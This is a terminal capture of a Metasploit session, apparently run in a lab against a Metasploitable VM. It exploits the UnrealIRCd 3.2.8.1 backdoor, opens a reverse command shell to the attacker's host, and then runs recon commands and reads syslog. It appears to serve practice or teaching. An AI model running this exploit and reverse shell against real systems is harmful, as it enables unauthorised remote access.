File Actions Edit View Help

```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search irc backdoor

Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   -  ----                                          ---------------  ----       -----  -----------
   0  exploit/multi/local/allwinner_backdoor        2016-04-30       excellent  Yes    Allwinner 3.4 Legacy Kernel Local Privilege Escalation
   1  exploit/unix/irc/unreal_ircd_3281_backdoor    2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/irc/unreal_ircd_3281_backdoor

msf6 > use 1
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhost 192.168.50.101
rhost => 192.168.50.101
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rport 6667
rport => 6667
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 192.168.50.100
lhost => 192.168.50.100
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 192.168.50.100:4444
[*] 192.168.50.101:6667 - Connected to 192.168.50.101:6667 ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
[*] 192.168.50.101:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo 8RE8BiqXZRxJqLAG;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "8RE8BiqXZRxJqLAG\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.50.100:4444 → 192.168.50.101:37454) at 2024-07-08 15:04:44 +0200

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
who
msfadmin tty1         Jul  8 05:30
root     pts/0        Jul  8 05:30 (:0.0)
route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.50.0    *               255.255.255.0   U     0      0        0 eth0
default         192.168.50.1    0.0.0.0         UG    100    0        0 eth0
cat /var/log/syslog
Jul  8 06:32:46 metasploitable syslogd 1.5.0#1ubuntu1: restart.
Jul  8 06:32:46 metasploitable postfix/pickup[4378]: 5AFB5CC46: uid=0 from=<root>
Jul  8 06:32:46 metasploitable postfix/cleanup[4927]: 5AFB5CC46: message-id=<20240708103246.5AFB5CC46@metasploitable.localdomain>
Jul  8 06:32:46 metasploitable postfix/qmgr[4380]: 5AFB5CC46: from=<root@metasploitable.localdomain>, size=815, nrcpt=1 (queue active)
Jul  8 06:32:46 metasploitable postfix/local[4929]: 5AFB5CC46: to=<root@metasploitable.localdomain>, orig_to=<root>, relay=local, delay=464, delays=464/0.08/0/0.02, dsn=2.0.0, status=sent (delivered to mailbox)
Jul  8 06:32:46 metasploitable postfix/qmgr[4380]: 5AFB5CC46: removed
Jul  8 06:39:01 metasploitable /USR/SBIN/CRON[4937]: (root) CMD (  [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -type f -cmin +$(/usr/lib/php5/maxlifetime) -print0 | xargs -r -0 rm)
Jul  8 06:49:32 metasploitable -- MARK --
Jul  8 07:09:01 metasploitable /USR/SBIN/CRON[4980]: (root) CMD (  [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -type f -cmin +$(/usr/lib/php5/maxlifetime) -print0 | xargs -r -0 rm)
Jul  8 07:17:01 metasploitable /USR/SBIN/CRON[5000]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Jul  8 07:29:32 metasploitable -- MARK --
Jul  8 07:39:01 metasploitable /USR/SBIN/CRON[5040]: (root) CMD (  [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -type f -cmin +$(/usr/lib/php5/maxlifetime) -print0 | xargs -r -0 rm)
Jul  8 07:49:32 metasploitable -- MARK --
Jul  8 08:09:01 metasploitable /USR/SBIN/CRON[5081]: (root) CMD (  [ -x /usr/lib/php5/maxlifetime ] && [ -d /var/lib/php5 ] && find /var/lib/php5/ -type f -cmin +$(/usr/lib/php5/maxlifetime) -print0 | xargs -r -0 rm)
Jul  8 08:17:01 metasploitable /USR/SBIN/CRON[5101]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
```